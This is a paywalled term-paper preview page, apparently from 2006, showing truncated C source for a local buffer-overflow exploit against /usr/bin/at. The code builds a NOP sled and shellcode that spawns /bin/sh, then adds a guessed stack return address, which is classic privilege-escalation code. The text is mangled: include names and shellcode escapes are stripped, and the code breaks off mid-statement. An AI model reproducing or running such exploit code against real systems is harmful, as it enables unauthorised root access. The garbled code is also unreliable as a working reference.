Back to category: Science Limited version - please login or register to view the entire paper. what it do #include #include #include #include #include #define path "/usr/bin/at" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07x89x56x0f" "xb8x1bx56x34x12x35x10x56x34x12x8dx4ex0bx8bxd1xcd" "x80x33xc0x40xcdx80xe8xd7xffxffxff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory "); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr =... Posted by: Amy Hetzel Limited version - please login or register to view the entire paper. |
|
© 2006 TermPaperAccess.com |